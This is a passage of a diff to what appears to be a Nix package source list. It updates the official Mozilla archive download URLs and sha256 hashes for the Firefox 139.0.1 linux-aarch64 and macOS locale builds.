-      sha256 = "ebdcf15f02bf66ad3654f9898f6d0b7f0f0b485e75b484f44deac122d2b42872";
+      sha256 = "d2d713d43ebf52298db592386dcf7c11886b075ef916e9d27070c8dbf8981fee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/uz/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/uz/firefox-139.0.1.tar.xz";
       locale = "uz";
       arch = "linux-aarch64";
-      sha256 = "738bb8b3bbbf6252142e01f3db74e8aa271e409eaa9dc7852f6e58a7c407656f";
+      sha256 = "ed38a6f27b6e3446177d274f24a40213b3a86f79d2e07e6525b99ed3364a2511";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/vi/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/vi/firefox-139.0.1.tar.xz";
       locale = "vi";
       arch = "linux-aarch64";
-      sha256 = "387e2698224d4878bfcc510c95a34c9ea6303196bdc95f45bbe57aebda108507";
+      sha256 = "cdd018f3f42b9a33a5f8ed1fb0a1fb17ff0b936a47f29c413845671dbedb7feb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/xh/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/xh/firefox-139.0.1.tar.xz";
       locale = "xh";
       arch = "linux-aarch64";
-      sha256 = "a78be308305262a0248913ba7b21ed65fec39ff457fb88d0fa7d7bd67ef774df";
+      sha256 = "c49b490522a2f7b2bd5b0f5896acec58f4425410e7bc2f7b01f1a4073a4a9102";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/zh-CN/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/zh-CN/firefox-139.0.1.tar.xz";
       locale = "zh-CN";
       arch = "linux-aarch64";
-      sha256 = "e7ed9716c78e3e2c8c2f72363bcc9adc954b244b8c25a100085aa085869ee9de";
+      sha256 = "8e3e1fe160bdaa5063a3c5fc4d6ef2fb88e83e84bd57ed910e26f537ba6f6458";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/zh-TW/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/zh-TW/firefox-139.0.1.tar.xz";
       locale = "zh-TW";
       arch = "linux-aarch64";
-      sha256 = "d21c44a3fa0b566e91624bcb0e6b124a51e6c86fb53dccd6846aba86e187d585";
+      sha256 = "0a29aacb072ead048190850b6bcc33ef39f23309d25cb1eff17ca0ba59a2c832";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ach/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ach/Firefox%20139.0.1.dmg";
       locale = "ach";
       arch = "mac";
-      sha256 = "a6357f4080c8a98faf11e621897c3cb3c749f505a0bec523bf3b5bbefb8b46b5";
+      sha256 = "90705dbdd3f7acbac499231f003c74540f27d34499436e745c45f97220d1489a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/af/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/af/Firefox%20139.0.1.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "1b100c791b6628086956327ecf1c623a6bdf2fa1a701c92ab7d2c8a8765cc1e3";
+      sha256 = "297fbe1c131593d465d2f3aab0bbd512df42bdc3ff08df401f12d74fdc072b32";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/an/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/an/Firefox%20139.0.1.dmg";
       locale = "an";
       arch = "mac";
-      sha256 = "caa82a61738d36021993eda6c312fa9fb943cb7a3c7e0dba1e5df6e4f4a3b03a";
+      sha256 = "84d726ca420c06fda08d47d862b7d4230313f726822521e1172af2728c7caa33";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ar/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ar/Firefox%20139.0.1.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "46963b2e2b8ad1e906fc989447e0514d65763e9b346e13fd8b7c9c8f8173c1ec";
+      sha256 = "c23a655d63c5733eb57ad7847b2bd6273779908a1da0575328599e26e86a430b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ast/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ast/Firefox%20139.0.1.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "e7ff169426f6104a26485d0488235f7f42b113fd6667a1c82e6c5e5b5e789b49";
+      sha256 = "fdce02a1f23686e49ab5ce67e3d81cdd95c32c8798b4a27e7e77b8d56c770aa4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/az/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/az/Firefox%20139.0.1.dmg";
       locale = "az";
       arch = "mac";
-      sha256 = "c68978f5170e3107a508b302345bc5bcc3f510c2a838de96aabb6f8927b2c7f4";
+      sha256 = "c50d1163bcb87dc6547e3d412cea1cb32851c498250247cfadd15be970371168";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/be/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/be/Firefox%20139.0.1.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "cfca77b6d7a053672eea8aa5dde841a9019579d6ecf7411d4da465a4c60da491";
+      sha256 = "5a2ea89b6d25b625c7ecb986ad8ab811ce319a03c09ee2e8318928fea7210ae7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/bg/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/bg/Firefox%20139.0.1.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "2915812717cedc40501c3a17eb0b09ca7ba312d2cf8c92776edf783f02136b79";
+      sha256 = "8cbc2408e868b9da6a6cf597ad20c4704ba49e99eab519a51523fe8009d3cdd8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/bn/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/bn/Firefox%20139.0.1.dmg";
       locale = "bn";
       arch = "mac";
-      sha256 = "d4a1fc8df72b8ff77a62eaa0c3f916ca0b25f6bc4b51ff836f360cadc125f2af";
+      sha256 = "eff53f1f3a5a7b9a1e8139ca22debccc5dd6e5962ceb9643650bbcb1ccf8c470";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/br/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/br/Firefox%20139.0.1.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "d391dc4fa735a71b9da271e8cc2b7ec3f89b403c02261868fbdf661e5c64a601";
+      sha256 = "d9985ef28037e6d2f34abeab02e20a43634de7f66280c76952ba4d6f9d1a5453";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/bs/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/bs/Firefox%20139.0.1.dmg";
       locale = "bs";
       arch = "mac";
-      sha256 = "a477e30275ed45e1e8c555b7eb76d1416b91f125db3aa6001f140d6ec1a3f7d6";
+      sha256 = "c51c7d2cd20255bb4a762f28b93521a49d1faae084bc740d0a8ae43d61ac7241";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ca-valencia/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ca-valencia/Firefox%20139.0.1.dmg";
       locale = "ca-valencia";
       arch = "mac";
-      sha256 = "2f29777e9295dd1b5e82201a1198a03993f406541b4584d314792f728b4be15c";
+      sha256 = "762e80a697f73b4a3f59ff0648f34ad9bf913ab18ee1078c1387991a7a18596f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ca/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ca/Firefox%20139.0.1.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "1cf4153f990de971b1bda9e8c4bd94ddd0dbc4861f4c0b87f865f4d98c4eb67d";
+      sha256 = "ced2a1dd77d68f30d301736d59f95ea2db17de0b503234b2f759516762a187a1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/cak/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/cak/Firefox%20139.0.1.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "34b3919d74ba1c39267a81ba30f86aafb47759bb0ed497a30bf5dfc6aea36db9";
+      sha256 = "75f917cf56586fa09e8513df164850f3260eb90b799ffa2265c4617ee9b9aabc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/cs/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/cs/Firefox%20139.0.1.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "2aea07c09067f4a2fec5e98580d24121f1581a55098bd37d0f8e9129e1f7239e";
+      sha256 = "a3f6963cc2b1706e4f219baa51904217c35f9c0aff751715dd6a3049f2c44cb3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/cy/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/cy/Firefox%20139.0.1.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "327645c59b42c7e0ac6678ff4d78fe5f3cc33cd8cb01ace3377157eb8eaec999";
+      sha256 = "e94006b3ce4ecb3db70414c4251d3d80b7205719c3f7bb8314aba90f1252b842";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/da/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/da/Firefox%20139.0.1.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "82234dc856c0626c497a2e34b9a624d46e501d288c59f0b39abc5b9aa7cda4eb";
+      sha256 = "c77c2e1e277ce34bc60c48b79f9d086ba692630ebb5a49b5a8bd76cb53e387f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/de/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/de/Firefox%20139.0.1.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "c242aee361b4dcccc0614139b1213873fdbab65750181faf166a082110a023df";
+      sha256 = "568b562ea800aaf84d518799a0359b0735eaa9e5876365ad14a07bb35b72ceda";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/dsb/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/dsb/Firefox%20139.0.1.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "36e6a5369619ab2812345f4c8293d2a7ede6006e8b83fa662519a3d93b30faff";
+      sha256 = "024d8876d5cc026b8ae28bca1e33b9ade5d4debd8694aca10efb52fbe74d0f57";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/el/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/el/Firefox%20139.0.1.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "c8e8a3f8c2ceefe4c8928cf15df83415f78c5566d1fa3e259806c3d41db61633";
+      sha256 = "62ccd1443039fb529f3ec60b8fb50c7c1bbec2767f6ebaa34061af51129a20a7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/en-CA/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/en-CA/Firefox%20139.0.1.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "01242a9c0bf1848c4c9eb1c974008fca69b01927ac4ee939b8e7711b0ca26f44";
+      sha256 = "be1d29d51b4207942803dadf181c899dcf2730c4d6cf302c88d7ee9f91468dbd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/en-GB/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/en-GB/Firefox%20139.0.1.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "9d72c3d1c9072e2a83a1e19c5ce48720e21cec66d9a38bcd2d566bef02b1e99e";
+      sha256 = "d8a859aed08080dd5a9a2291330a69594ebdc6a3c455508d95aff91bf84119e0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/en-US/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/en-US/Firefox%20139.0.1.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "03f1066b70b6e502c4f1a732a63f9f93146c6ea23d0af5e2e3a57d030e255353";
+      sha256 = "243478e2a2fd5d9dd0cc261c812b0146e433d703fec960c27c7284b2de7e65bc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/eo/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/eo/Firefox%20139.0.1.dmg";
       locale = "eo";
       arch = "mac";
-      sha256 = "95d041e3c5294e8566eb7fda6b8560cea7d5d508ec1344736cc8bdcc3e60ba6c";
+      sha256 = "68912adb877fad9b038bcec66ff6749b8c22ddc1814c7e1ad9e8e95a8c119dec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/es-AR/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/es-AR/Firefox%20139.0.1.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "86dca1d4399e066258bf7cba393f8202a93f722c80623f72399066048fc1fdb0";
+      sha256 = "b2cbc3a357a9a74d77fb39e8503efc84b9bdc816250faac8731d2e7a088a4143";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/es-CL/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/es-CL/Firefox%20139.0.1.dmg";
       locale = "es-CL";
       arch = "mac";
-      sha256 = "d816055a61e9b5c121e090bf27541f1020f4fdeed6e0114327c51ae96c44eeb3";
+      sha256 = "dc95f2e0d47f57bd4196c749aab6f04a426eb6ddafe0c1f9b4028301323266e3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/es-ES/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/es-ES/Firefox%20139.0.1.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "08dc73a704063559cc1670884e17522f9d413b04d48dc5a08e4fb5e894ee3b02";
+      sha256 = "10ec09d1c88b25087857af5c0d3bd2c8de65d2098319350a573435c6dfbfce09";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/es-MX/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/es-MX/Firefox%20139.0.1.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "4b51b375d7043bc98878afa4068e233ddae3d9a373113a6b9e96ef6fa493461e";
+      sha256 = "72f7e5aef01526eb697c578659a0ac4d6353d6a698315e5b147f19b499577cdc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/et/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/et/Firefox%20139.0.1.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "3b9b60cf5b60c87346302bafb22efd1d2e1411b45a9208ff98d5cb4157bf8482";
+      sha256 = "1cae2a23b54cef6657c47073e23ae6bc1056c7195c84d03f5111f893c4b275ab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/eu/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/eu/Firefox%20139.0.1.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "0fcf4d2d9301d5e38229ffe74b0b81d8461f0aa5d396b814e353ef72e746182e";
+      sha256 = "09c7f0564a8c96aef212953100d04c9ec72fcbaa1727e816f6695025c65d8c0c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/fa/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/fa/Firefox%20139.0.1.dmg";
       locale = "fa";
       arch = "mac";
-      sha256 = "2c2ba07b86446ec5dea7c736dc10b4b10cfc4025825380b2a1b2bfdde5e6910e";
+      sha256 = "f420b5706210b9c22e3bf3a8f8bee45abf0b2e1c556072f040af41b990a36262";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ff/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ff/Firefox%20139.0.1.dmg";
       locale = "ff";
       arch = "mac";
-      sha256 = "1617e0c5592a08423d66a90ff69f0014b69a764cec8e675304cf07bacfbaa36c";
+      sha256 = "f8ca52cc78ee5cc2f1f5b1483509c821183e16072c08765ddb102c509cbf4e26";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/fi/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/fi/Firefox%20139.0.1.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "eadf8925c991ecaea5a3733cf9856d2fc1c9e5a963b7e84f5394d149c0c22578";
+      sha256 = "161f80460829488560859f3a5b3a1aab0342f6062ea033721748d5a038466bfd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/fr/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/fr/Firefox%20139.0.1.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "2fa6b62f790f1abc573847696067fa9e0b31256ce6979a75679f30901769f708";
+      sha256 = "b33ddd6074f49f281579768f0496e0a7775c56789430beae97c108de9534c194";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/fur/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/fur/Firefox%20139.0.1.dmg";
       locale = "fur";
       arch = "mac";
-      sha256 = "316c8274d604466fcf0e02b9aaea1de376a1afbaa553d5bfe32ef6ab1293a8d4";
+      sha256 = "ccd0854020645c2dae8827cce789d6a6549566afe9ec31c4797dbf5f2e881b65";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/fy-NL/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/fy-NL/Firefox%20139.0.1.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "8052eb740c2edac508659d1cf7299475927910901af1dd8204fec947693ea330";
+      sha256 = "0ae690d15c2fafd99d9fada3ba80e5ab480fdce0ab29e04c09354d8e265c20e3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ga-IE/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ga-IE/Firefox%20139.0.1.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "9dcd61c091b45aacd2e69dded14bec79754e5814ea12bfcfdf079867a2d38148";
+      sha256 = "efbcb4bf59a1bbcb7a029c32392d175935da72263f795fa64d5437887c2c961b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/gd/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/gd/Firefox%20139.0.1.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "a2827d1b42f580b44a92f7c23dd7fdad3688f57cf2471ec81b9c4fdc20c600a7";
+      sha256 = "f40bceae5ccce329d9ab871337fd558222dfc26a715e7acd8cd628324547fae3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/gl/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/gl/Firefox%20139.0.1.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "dabfa9f91e052ffdb1e63ccaecf7439ef3620143df264b572fc8d7ee4642dd4b";
+      sha256 = "9ad62642cdae3735a4fa68999152dca54467e92e173c9c38c10a60a299e23b1d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/gn/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/gn/Firefox%20139.0.1.dmg";
       locale = "gn";
       arch = "mac";
-      sha256 = "f1ac8faee33d915c2b0d39b84d50189f3e1126fff746fb4cb236ac2423f1ea57";
+      sha256 = "4283168026c7fecf6b8e444375d5823bd6d1c81d07b0b70f9b76fbe6dd6c9454";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/gu-IN/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/gu-IN/Firefox%20139.0.1.dmg";
       locale = "gu-IN";
       arch = "mac";
-      sha256 = "c5795c00a63ccfbff807dd03111f6776c20c401ef2d14816128b29f698a0d12f";
+      sha256 = "69282aac4c06e0d9110005989b045eaf6f4a0158c06effa7098ce30fb584cf6b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/he/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/he/Firefox%20139.0.1.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "85cee9ad457c5a51854b0b468ece5e32f8b47f781c0baa7ebb5654839f49b2bb";
+      sha256 = "88e5bb9a6e7c36725e2408eb2b8ee7a4cfb48e09314e3c5431df6640d8a4b507";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/hi-IN/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/hi-IN/Firefox%20139.0.1.dmg";
       locale = "hi-IN";
       arch = "mac";
-      sha256 = "a34fbd24a64a47b10d54fcce6904a916320e51236d4975759774135fc9921f03";
+      sha256 = "4a4495a3e32e6d79e67f41048e8115feb0283693b12209b80cd3e3e92f353a01";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/hr/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/hr/Firefox%20139.0.1.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "f46e02f392276e675a3b1dc534d8c19e5563cd2e7a0f52e2aa8f2078074dae60";
+      sha256 = "a98af3f668e6bb6f2cdfb416a74d78ed0ddcf1060125c73eb7f8a8b66c539450";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/hsb/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/hsb/Firefox%20139.0.1.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "542516cbf91295954824ef36ce7d142ee5c58d5f0c0473d0b26d481a205ead43";
+      sha256 = "b8da34f008e70ce54176521625c1f77e2cb7e4167d6e81cdedce012ffa67ba6f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/hu/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/hu/Firefox%20139.0.1.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "9e40f771c0fc905b6c163937e9da3eeb3f33b1b635b5f58cd6d4720b0983bdb0";
+      sha256 = "9f396ff5aea2604013f1d4d199660a3157a915a28ae6d04894e9277a84320c4d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/hy-AM/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/hy-AM/Firefox%20139.0.1.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "ee6d307a28344db52cb03bc3a304c461bce80217d4532cceecbaef2a4dcbcb28";
+      sha256 = "c2074346fa59f96cbdc0c31d86e218fdeb8dc9aa31a0f19e1a6d0875c45c1316";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ia/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ia/Firefox%20139.0.1.dmg";
       locale = "ia";
       arch = "mac";
-      sha256 = "c6c94ba1fc652d8690c8c7d2582c17b6383d5a39ba948f681a5d470e5de241f2";
+      sha256 = "38ae1f39ec8d063cb581f3bd7ef77574a538a7390b91a208e0e2c21e59e17737";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/id/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/id/Firefox%20139.0.1.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "b081f67c96df26f70b5caf034766b4474c6443db34a07925e300a41a10631362";
+      sha256 = "4b8c298aaa0a13e31929f27a1b10620775a85153aaf8b18aa370cdff7473393d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/is/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/is/Firefox%20139.0.1.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "a2f891520464146113a73edff78b0750a3bcefe5ed4792a8e61cdb5f9828a6ea";
+      sha256 = "27979073fa3c7d499876e4c15d98565986ebc53486560aeca27597d7a68331d5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/it/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/it/Firefox%20139.0.1.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "b120bb4bda4276f1c730e8cf7e2342d818f69250850b61101b1f6e14ff84be3d";
+      sha256 = "66f87df7f6168e692091e0a5b8317fdfdbaa2d2c71d1c5745ff4bef3db3af9ca";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ja-JP-mac/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ja-JP-mac/Firefox%20139.0.1.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "f6c4e6fee37ceb88f3bb1eaee4420b82a30acf2b9247ec41a122b07e04404b3f";
+      sha256 = "c55cdf4c12ed9ccf12340ddd494655ad5d4824a5bf00079e7f4d4198a9a1091f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ka/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ka/Firefox%20139.0.1.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "804e0baf508308487e37a58710305494c4f433ec38575b24eeea743ce5733332";
+      sha256 = "c6a80bdf695c935fa3ddba101e1e9d3a552d2e64ffcb03b6a486ece7cf092ee0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/kab/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/kab/Firefox%20139.0.1.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "40927915810ed8f134067961ace5a84df0fd347c6edb9766f488835be34ddd43";
+      sha256 = "ae81d15ec907d015e8a1e491779391b4112adae18d1063792c247b1106659dba";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/kk/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/kk/Firefox%20139.0.1.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "c1ad2dfadca570f2667f4c81b5808e3a69618901df4191aba1cb85f1a06465f9";
+      sha256 = "dbf7aa923dc1531b1457ffe4eafcbf75ce2246078fd708a903b91af9784553da";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/km/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/km/Firefox%20139.0.1.dmg";
       locale = "km";
       arch = "mac";
-      sha256 = "6f0c4b73abb84e77a715935beb86f3f619d93a341bdd650837b977a0657e80b3";
+      sha256 = "8b1ffc20c721b014f5190faadac1856a6cde670df45806449eefc8169a32ff50";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/kn/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/kn/Firefox%20139.0.1.dmg";
       locale = "kn";
       arch = "mac";
-      sha256 = "d1246c42f91a5e9128ac1be7347ef62cf24ce6ffaaa3050ef3c2e3664025bac8";
+      sha256 = "6c96ae6870fb6d9d6f06b23fef6013c4d1e697f27145ecb4960c0a08d5f78a34";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ko/Firefox%20139.0.dmg";
